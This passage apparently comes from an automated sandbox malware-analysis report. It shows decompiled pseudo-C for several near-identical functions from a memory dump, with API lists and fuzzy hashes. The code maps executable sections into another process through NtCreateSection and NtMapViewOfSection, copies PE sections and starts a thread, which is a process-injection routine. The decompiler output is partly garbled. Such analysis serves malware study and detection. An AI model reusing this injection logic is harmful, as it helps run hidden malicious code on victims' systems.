										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t161 =  *_t202;
									_t206 =  &(_t202[1]);
									_push(_t161);
									_t109 =  *_t206;
									_t207 =  &(_t206[1]);
									_t162 = _t161 << 5;
									_t163 = _t162 + _t109;
									asm("lodsb");
									_t164 = _t163;
									asm("loop 0xffffffc3");
									_t165 = _t164 ^ 0xc66a5524;
									_t202 = _t207 - _t165;
									_t192 =  *((intOrPtr*)(_t199 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t199 + 0xc))));
									_t143 =  *(_t192 + 6) & 0x0000ffff;
									_push(_t192);
									_t166 = _t192;
									if( *((intOrPtr*)(_t199 - 0x34)) == 0) {
										_t167 = _t166 + 0xf8;
										__eflags = _t167;
									} else {
										_t167 = _t166 + 0x108;
									}
									_push(_t143);
									_t144 =  *(_t167 + 0x10);
									if(_t144 != 0) {
										memcpy( *((intOrPtr*)(_t167 + 0xc)) +  *(_t199 - 0x48),  *((intOrPtr*)(_t167 + 0x14)) +  *((intOrPtr*)(_t199 + 0xc)), _t144);
										_t202 =  &(_t202[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t185);
									_t226 =  *((intOrPtr*)(_t199 - 0x34));
									if( *((intOrPtr*)(_t199 - 0x34)) == 0) {
										_push(_t185);
										_t160 = _t185[0xd] -  *(_t199 - 0x40);
										_t195 = _t185[0x28] +  *(_t199 - 0x48);
										__eflags = _t195;
										while(1) {
											__eflags =  *_t195;
											if( *_t195 == 0) {
												break;
											}
											_t178 =  *_t195;
											_t195 = _t195 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t160;
												__eflags =  *((intOrPtr*)(0 +  *(_t199 - 0x48) + _t178));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t185);
										_t176 = 0;
										__eflags = 0;
										_t111 = _t199 - 4;
										 *_t111 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t199 - 0xc), 0, 0, 0, 0, 0, _t185[0xa] +  *(_t199 - 0x40),  *(_t199 - 0x3c), _t111, 0);
									} else {
										L54();
										_pop(_t179);
										_t176 = _t179 - 0x1781;
										 *((intOrPtr*)(_t176 + 0x17b5)) = _t176 + 0x2c1d;
										E00401256(_t130, _t176 + 0x17b5, _t176, _t185, _t226, _t176 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t176 + 0x17da)) = _t176 + 0x2c6d;
										_t160 =  *(_t199 - 0xc);
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t94 =  *_t202;
				_t203 =  &(_t202[1]);
				_push(0x37e);
				_t135 =  *_t203;
				return E004011BB(_t94, _t135, _t160, _t176, _t185, _t226, _t227);
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000009.00000002.384823661.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dfhwrav.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f7fdfd08fcb8eed158454bdf17d9c406f3432810bc7538c0baa4c61a2813e87b
Instruction ID: 56051b854cc78bb7cf401cc86fa9e38e91d39254f0b1df9b0b50e8092bc8a5cc
Opcode Fuzzy Hash: f7fdfd08fcb8eed158454bdf17d9c406f3432810bc7538c0baa4c61a2813e87b
Instruction Fuzzy Hash: 985119B5900255BFEB219F91CC48FAB7BB8FF85B00F104169F911AA2E5D6749A41CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004014F0 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E004014F0(void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t84;
				intOrPtr _t87;
				void* _t90;
				signed int _t91;
				struct _GUID _t98;
				struct _GUID _t100;
				PVOID* _t102;
				PVOID* _t104;
				signed int _t106;
				intOrPtr* _t108;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				void* _t129;
				signed int _t130;
				void** _t131;
				signed int _t138;
				int _t139;
				signed int _t156;
				signed int _t157;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				void* _t161;
				intOrPtr* _t162;
				long _t171;
				intOrPtr _t173;
				void* _t174;
				HANDLE* _t180;
				HANDLE* _t182;
				void* _t187;
				intOrPtr* _t190;
				void* _t193;
				void* _t194;
				signed int* _t196;
				signed int* _t197;
				signed int* _t200;
				signed int* _t201;
				long _t216;

				_t221 = __fp0;
				_t155 = __edx;
				asm("out dx, eax");
				_t129 = 0x37e;
				E004011BB(_t84, _t129, __edx, __edi, __esi, __eflags, __fp0);
				_t127 =  *((intOrPtr*)(_t194 + 8));
				_t171 = 0;
				 *((intOrPtr*)(_t194 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t194 - 0x34)) =  *((intOrPtr*)(_t194 - 0x34)) + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t194 - 0x5c)) = _t87;
				_t180 = _t194 - 0x60;
				 *_t180 = _t171;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t180);
				_t90 =  *_t180;
				if(_t90 != 0) {
					_t131 = _t194 - 0x30;
					 *_t131 = _t90;
					_t131[1] = _t171;
					_t180 = _t194 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t180, 0x18);
					 *_t180 = 0x18;
					_t155 = _t180;
					_push(_t194 - 0x30);
					_push(_t180);
					_push(0x40);
					_push(_t194 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t194 - 0x10), 0xffffffff, 0xffffffff, _t194 - 0xc, _t171, _t171, 2) == 0) {
						 *(_t194 - 8) = _t171;
						_t98 = _t194 - 0x50;
						 *(_t98 + 4) = _t171;
						 *_t98 = 0x5000;
						_t182 = _t194 - 0x54;
						if(NtCreateSection(_t182, 6, _t171, _t98, 4, 0x8000000, _t171) == 0) {
							 *_t25 =  *(_t194 - 0x50);
							_t121 = _t194 - 0x44;
							 *_t121 = _t171;
							if(NtMapViewOfSection( *_t182, 0xffffffff, _t121, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
								_t123 = _t194 - 0x3c;
								 *_t123 = _t171;
								if(NtMapViewOfSection( *_t182,  *(_t194 - 0xc), _t123, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
									_t193 =  *(_t194 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t171, _t193, 0x104);
									 *((intOrPtr*)(_t193 + 0x208)) =  *((intOrPtr*)(_t194 + 0x14));
									 *(_t194 - 8) =  *(_t194 - 8) + 1;
								}
							}
						}
						_t100 = _t194 - 0x50;
						 *(_t100 + 4) = _t171;
						 *_t100 =  *((intOrPtr*)(_t194 + 0x10)) + 0x10000;
						_t180 = _t194 - 0x58;
						if(NtCreateSection(_t180, 0xe, _t171, _t100, 0x40, 0x8000000, _t171) == 0 &&  *(_t194 - 8) != 0) {
							 *_t46 =  *(_t194 - 0x50);
							_t102 = _t194 - 0x48;
							 *_t102 = _t171;
							if(NtMapViewOfSection( *_t180, 0xffffffff, _t102, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
								_t104 = _t194 - 0x40;
								 *_t104 = _t171;
								_t216 = NtMapViewOfSection( *_t180,  *(_t194 - 0xc), _t104, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 0x20);
								if(_t216 == 0) {
									L19();
									if(_t216 == 0 && _t216 != 0) {
										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t156 =  *_t196;
									_t200 =  &(_t196[1]);
									_push(_t156);
									_t106 =  *_t200;
									_t201 =  &(_t200[1]);
									_t157 = _t156 << 5;
									_t158 = _t157 + _t106;
									asm("lodsb");
									_t159 = _t158;
									asm("loop 0xffffffc3");
									_t160 = _t159 ^ 0xc66a5524;
									_t196 = _t201 - _t160;
									_t187 =  *((intOrPtr*)(_t194 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t194 + 0xc))));
									_t138 =  *(_t187 + 6) & 0x0000ffff;
									_push(_t187);
									_t161 = _t187;
									if( *((intOrPtr*)(_t194 - 0x34)) == 0) {
										_t162 = _t161 + 0xf8;
										__eflags = _t162;
									} else {
										_t162 = _t161 + 0x108;
									}
									_push(_t138);
									_t139 =  *(_t162 + 0x10);
									if(_t139 != 0) {
										memcpy( *((intOrPtr*)(_t162 + 0xc)) +  *(_t194 - 0x48),  *((intOrPtr*)(_t162 + 0x14)) +  *((intOrPtr*)(_t194 + 0xc)), _t139);
										_t196 =  &(_t196[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t180);
									_t220 =  *((intOrPtr*)(_t194 - 0x34));
									if( *((intOrPtr*)(_t194 - 0x34)) == 0) {
										_push(_t180);
										_t155 = _t180[0xd] -  *(_t194 - 0x40);
										_t190 = _t180[0x28] +  *(_t194 - 0x48);
										__eflags = _t190;
										while(1) {
											__eflags =  *_t190;
											if( *_t190 == 0) {
												break;
											}
											_t173 =  *_t190;
											_t190 = _t190 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t155;
												__eflags =  *((intOrPtr*)(0 +  *(_t194 - 0x48) + _t173));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t180);
										_t171 = 0;
										__eflags = 0;
										_t108 = _t194 - 4;
										 *_t108 = 0;
										 *((intOrPtr*)(_t127 + 0x98))( *(_t194 - 0xc), 0, 0, 0, 0, 0, _t180[0xa] +  *(_t194 - 0x40),  *(_t194 - 0x3c), _t108, 0);
									} else {
										L52();
										_pop(_t174);
										_t171 = _t174 - 0x1781;
										 *((intOrPtr*)(_t171 + 0x17b5)) = _t171 + 0x2c1d;
										E00401256(_t127, _t171 + 0x17b5, _t171, _t180, _t220, _t171 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t171 + 0x17da)) = _t171 + 0x2c6d;
										_t155 =  *(_t194 - 0xc);
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t91 =  *_t196;
				_t197 =  &(_t196[1]);
				_push(0x37e);
				_t130 =  *_t197;
				return E004011BB(_t91, _t130, _t155, _t171, _t180, _t220, _t221);
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000009.00000002.384823661.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dfhwrav.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 42ad22074bad18142d7be35822f8386c67ed3ecdea3813d17a0e8b73958593c3
Instruction ID: 0e929ec6180768132d2eb4bc3befb4aa6e0e1ce8214f1ba9b47f90b2cd5cc351
Opcode Fuzzy Hash: 42ad22074bad18142d7be35822f8386c67ed3ecdea3813d17a0e8b73958593c3
Instruction Fuzzy Hash: 9B5108B5900255BFEF219F91CC48FAFBBB8FF85B10F104159FA11BA2A5D6709A41CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004014F4 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E004014F4(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t87;
				void* _t90;
				signed int _t91;
				struct _GUID _t98;
				struct _GUID _t100;
				PVOID* _t102;
				PVOID* _t104;
				signed int _t106;
				intOrPtr* _t108;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				void* _t130;
				signed int _t131;
				void** _t132;
				signed int _t139;
				int _t140;
				signed int _t157;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				void* _t162;
				intOrPtr* _t163;
				long _t172;
				intOrPtr _t174;
				void* _t175;
				HANDLE* _t181;
				HANDLE* _t183;
				void* _t188;
				intOrPtr* _t191;
				void* _t194;
				void* _t195;
				signed int* _t197;
				signed int* _t198;
				signed int* _t201;
				signed int* _t202;
				long _t217;

				_t222 = __fp0;
				_t156 = __edx;
				asm("aam 0x4a");
				_t130 = 0x37e;
				E004011BB(__ecx, _t130, __edx, __edi, __esi, __eflags, __fp0);
				_t127 =  *((intOrPtr*)(_t195 + 8));
				_t172 = 0;
				 *((intOrPtr*)(_t195 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t195 - 0x34)) =  *((intOrPtr*)(_t195 - 0x34)) + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t195 - 0x5c)) = _t87;
				_t181 = _t195 - 0x60;
				 *_t181 = _t172;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t181);
				_t90 =  *_t181;
				if(_t90 != 0) {
					_t132 = _t195 - 0x30;
					 *_t132 = _t90;
					_t132[1] = _t172;
					_t181 = _t195 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t181, 0x18);
					 *_t181 = 0x18;
					_t156 = _t181;
					_push(_t195 - 0x30);
					_push(_t181);
					_push(0x40);
					_push(_t195 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t195 - 0x10), 0xffffffff, 0xffffffff, _t195 - 0xc, _t172, _t172, 2) == 0) {
						 *(_t195 - 8) = _t172;
						_t98 = _t195 - 0x50;
						 *(_t98 + 4) = _t172;
						 *_t98 = 0x5000;
						_t183 = _t195 - 0x54;
						if(NtCreateSection(_t183, 6, _t172, _t98, 4, 0x8000000, _t172) == 0) {
							 *_t25 =  *(_t195 - 0x50);
							_t121 = _t195 - 0x44;
							 *_t121 = _t172;
							if(NtMapViewOfSection( *_t183, 0xffffffff, _t121, _t172, _t172, _t172, _t195 - 0x38, 1, _t172, 4) == 0) {
								_t123 = _t195 - 0x3c;
								 *_t123 = _t172;
								if(NtMapViewOfSection( *_t183,  *(_t195 - 0xc), _t123, _t172, _t172, _t172, _t195 - 0x38, 1, _t172, 4) == 0) {
									_t194 =  *(_t195 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t172, _t194, 0x104);
									 *((intOrPtr*)(_t194 + 0x208)) =  *((intOrPtr*)(_t195 + 0x14));
									 *(_t195 - 8) =  *(_t195 - 8) + 1;
								}
							}
						}
						_t100 = _t195 - 0x50;
						 *(_t100 + 4) = _t172;
						 *_t100 =  *((intOrPtr*)(_t195 + 0x10)) + 0x10000;
						_t181 = _t195 - 0x58;
						if(NtCreateSection(_t181, 0xe, _t172, _t100, 0x40, 0x8000000, _t172) == 0 &&  *(_t195 - 8) != 0) {
							 *_t46 =  *(_t195 - 0x50);
							_t102 = _t195 - 0x48;
							 *_t102 = _t172;
							if(NtMapViewOfSection( *_t181, 0xffffffff, _t102, _t172, _t172, _t172, _t195 - 0x38, 1, _t172, 4) == 0) {
								_t104 = _t195 - 0x40;
								 *_t104 = _t172;
								_t217 = NtMapViewOfSection( *_t181,  *(_t195 - 0xc), _t104, _t172, _t172, _t172, _t195 - 0x38, 1, _t172, 0x20);
								if(_t217 == 0) {
									L17();
									if(_t217 == 0 && _t217 != 0) {
										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t157 =  *_t197;
									_t201 =  &(_t197[1]);
									_push(_t157);
									_t106 =  *_t201;
									_t202 =  &(_t201[1]);
									_t158 = _t157 << 5;
									_t159 = _t158 + _t106;
									asm("lodsb");
									_t160 = _t159;
									asm("loop 0xffffffc3");
									_t161 = _t160 ^ 0xc66a5524;
									_t197 = _t202 - _t161;
									_t188 =  *((intOrPtr*)(_t195 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t195 + 0xc))));
									_t139 =  *(_t188 + 6) & 0x0000ffff;
									_push(_t188);
									_t162 = _t188;
									if( *((intOrPtr*)(_t195 - 0x34)) == 0) {
										_t163 = _t162 + 0xf8;
										__eflags = _t163;
									} else {
										_t163 = _t162 + 0x108;
									}
									_push(_t139);
									_t140 =  *(_t163 + 0x10);
									if(_t140 != 0) {
										memcpy( *((intOrPtr*)(_t163 + 0xc)) +  *(_t195 - 0x48),  *((intOrPtr*)(_t163 + 0x14)) +  *((intOrPtr*)(_t195 + 0xc)), _t140);
										_t197 =  &(_t197[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t181);
									_t221 =  *((intOrPtr*)(_t195 - 0x34));
									if( *((intOrPtr*)(_t195 - 0x34)) == 0) {
										_push(_t181);
										_t156 = _t181[0xd] -  *(_t195 - 0x40);
										_t191 = _t181[0x28] +  *(_t195 - 0x48);
										__eflags = _t191;
										while(1) {
											__eflags =  *_t191;
											if( *_t191 == 0) {
												break;
											}
											_t174 =  *_t191;
											_t191 = _t191 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t156;
												__eflags =  *((intOrPtr*)(0 +  *(_t195 - 0x48) + _t174));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t181);
										_t172 = 0;
										__eflags = 0;
										_t108 = _t195 - 4;
										 *_t108 = 0;
										 *((intOrPtr*)(_t127 + 0x98))( *(_t195 - 0xc), 0, 0, 0, 0, 0, _t181[0xa] +  *(_t195 - 0x40),  *(_t195 - 0x3c), _t108, 0);
									} else {
										L50();
										_pop(_t175);
										_t172 = _t175 - 0x1781;
										 *((intOrPtr*)(_t172 + 0x17b5)) = _t172 + 0x2c1d;
										E00401256(_t127, _t172 + 0x17b5, _t172, _t181, _t221, _t172 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t172 + 0x17da)) = _t172 + 0x2c6d;
										_t156 =  *(_t195 - 0xc);
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t91 =  *_t197;
				_t198 =  &(_t197[1]);
				_push(0x37e);
				_t131 =  *_t198;
				return E004011BB(_t91, _t131, _t156, _t172, _t181, _t221, _t222);
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000009.00000002.384823661.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dfhwrav.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f1d7e44725552df3b8a433dca4a55b3c946ca18e27db3ab168963acc55609184
Instruction ID: 46a14779cbf14933c6859ffc6b63d0487160ef9ff8ab9e0fd5fa9402c868ef7e
Opcode Fuzzy Hash: f1d7e44725552df3b8a433dca4a55b3c946ca18e27db3ab168963acc55609184
Instruction Fuzzy Hash: 705109B5900255BFEF219F91CC48FEFBBB8FF85B10F104159FA11AA2A5D6709A41CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401501 Relevance: 10.7, APIs: 7, Instructions: 160
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00401501(void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t84;
				intOrPtr _t87;
				void* _t90;
				signed int _t91;
				struct _GUID _t98;
				struct _GUID _t100;
				PVOID* _t102;
				PVOID* _t104;
				signed int _t106;
				intOrPtr* _t108;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				void* _t129;
				signed int _t130;
				void** _t131;
				signed int _t138;
				int _t139;
				signed int _t156;
				signed int _t157;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				void* _t161;
				intOrPtr* _t162;
				long _t171;
				intOrPtr _t173;
				void* _t174;
				HANDLE* _t180;
				HANDLE* _t182;
				void* _t187;
				intOrPtr* _t190;
				void* _t193;
				void* _t194;
				signed int* _t196;
				signed int* _t197;
				signed int* _t200;
				signed int* _t201;
				long _t216;

				_t221 = __fp0;
				_t155 = __edx;
				asm("sbb eax, 0x53f4eb29");
				_t129 = 0x37e;
				E004011BB(_t84, _t129, __edx, __edi, __esi, __eflags, __fp0);
				_t127 =  *((intOrPtr*)(_t194 + 8));
				_t171 = 0;
				 *((intOrPtr*)(_t194 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t194 - 0x34)) =  *((intOrPtr*)(_t194 - 0x34)) + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t194 - 0x5c)) = _t87;
				_t180 = _t194 - 0x60;
				 *_t180 = _t171;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t180);
				_t90 =  *_t180;
				if(_t90 != 0) {
					_t131 = _t194 - 0x30;
					 *_t131 = _t90;
					_t131[1] = _t171;
					_t180 = _t194 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t180, 0x18);
					 *_t180 = 0x18;
					_t155 = _t180;
					_push(_t194 - 0x30);
					_push(_t180);
					_push(0x40);
					_push(_t194 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t194 - 0x10), 0xffffffff, 0xffffffff, _t194 - 0xc, _t171, _t171, 2) == 0) {
						 *(_t194 - 8) = _t171;
						_t98 = _t194 - 0x50;
						 *(_t98 + 4) = _t171;
						 *_t98 = 0x5000;
						_t182 = _t194 - 0x54;
						if(NtCreateSection(_t182, 6, _t171, _t98, 4, 0x8000000, _t171) == 0) {
							 *_t25 =  *(_t194 - 0x50);
							_t121 = _t194 - 0x44;
							 *_t121 = _t171;
							if(NtMapViewOfSection( *_t182, 0xffffffff, _t121, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
								_t123 = _t194 - 0x3c;
								 *_t123 = _t171;
								if(NtMapViewOfSection( *_t182,  *(_t194 - 0xc), _t123, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
									_t193 =  *(_t194 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t171, _t193, 0x104);
									 *((intOrPtr*)(_t193 + 0x208)) =  *((intOrPtr*)(_t194 + 0x14));
									 *(_t194 - 8) =  *(_t194 - 8) + 1;
								}
							}
						}
						_t100 = _t194 - 0x50;
						 *(_t100 + 4) = _t171;
						 *_t100 =  *((intOrPtr*)(_t194 + 0x10)) + 0x10000;
						_t180 = _t194 - 0x58;
						if(NtCreateSection(_t180, 0xe, _t171, _t100, 0x40, 0x8000000, _t171) == 0 &&  *(_t194 - 8) != 0) {
							 *_t46 =  *(_t194 - 0x50);
							_t102 = _t194 - 0x48;
							 *_t102 = _t171;
							if(NtMapViewOfSection( *_t180, 0xffffffff, _t102, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
								_t104 = _t194 - 0x40;
								 *_t104 = _t171;
								_t216 = NtMapViewOfSection( *_t180,  *(_t194 - 0xc), _t104, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 0x20);
								if(_t216 == 0) {
									L18();
									if(_t216 == 0 && _t216 != 0) {
										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t156 =  *_t196;
									_t200 =  &(_t196[1]);
									_push(_t156);
									_t106 =  *_t200;
									_t201 =  &(_t200[1]);
									_t157 = _t156 << 5;
									_t158 = _t157 + _t106;
									asm("lodsb");
									_t159 = _t158;
									asm("loop 0xffffffc3");
									_t160 = _t159 ^ 0xc66a5524;
									_t196 = _t201 - _t160;
									_t187 =  *((intOrPtr*)(_t194 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t194 + 0xc))));
									_t138 =  *(_t187 + 6) & 0x0000ffff;
									_push(_t187);
									_t161 = _t187;
									if( *((intOrPtr*)(_t194 - 0x34)) == 0) {
										_t162 = _t161 + 0xf8;
										__eflags = _t162;
									} else {
										_t162 = _t161 + 0x108;
									}
									_push(_t138);
									_t139 =  *(_t162 + 0x10);
									if(_t139 != 0) {
										memcpy( *((intOrPtr*)(_t162 + 0xc)) +  *(_t194 - 0x48),  *((intOrPtr*)(_t162 + 0x14)) +  *((intOrPtr*)(_t194 + 0xc)), _t139);
										_t196 =  &(_t196[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t180);
									_t220 =  *((intOrPtr*)(_t194 - 0x34));
									if( *((intOrPtr*)(_t194 - 0x34)) == 0) {
										_push(_t180);
										_t155 = _t180[0xd] -  *(_t194 - 0x40);
										_t190 = _t180[0x28] +  *(_t194 - 0x48);
										__eflags = _t190;
										while(1) {
											__eflags =  *_t190;
											if( *_t190 == 0) {
												break;
											}
											_t173 =  *_t190;
											_t190 = _t190 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t155;
												__eflags =  *((intOrPtr*)(0 +  *(_t194 - 0x48) + _t173));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t180);
										_t171 = 0;
										__eflags = 0;
										_t108 = _t194 - 4;
										 *_t108 = 0;
										 *((intOrPtr*)(_t127 + 0x98))( *(_t194 - 0xc), 0, 0, 0, 0, 0, _t180[0xa] +  *(_t194 - 0x40),  *(_t194 - 0x3c), _t108, 0);
									} else {
										L51();
										_pop(_t174);
										_t171 = _t174 - 0x1781;
										 *((intOrPtr*)(_t171 + 0x17b5)) = _t171 + 0x2c1d;
										E00401256(_t127, _t171 + 0x17b5, _t171, _t180, _t220, _t171 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t171 + 0x17da)) = _t171 + 0x2c6d;
										_t155 =  *(_t194 - 0xc);
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t91 =  *_t196;
				_t197 =  &(_t196[1]);
				_push(0x37e);
				_t130 =  *_t197;
				return E004011BB(_t91, _t130, _t155, _t171, _t180, _t220, _t221);
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000009.00000002.384823661.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dfhwrav.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
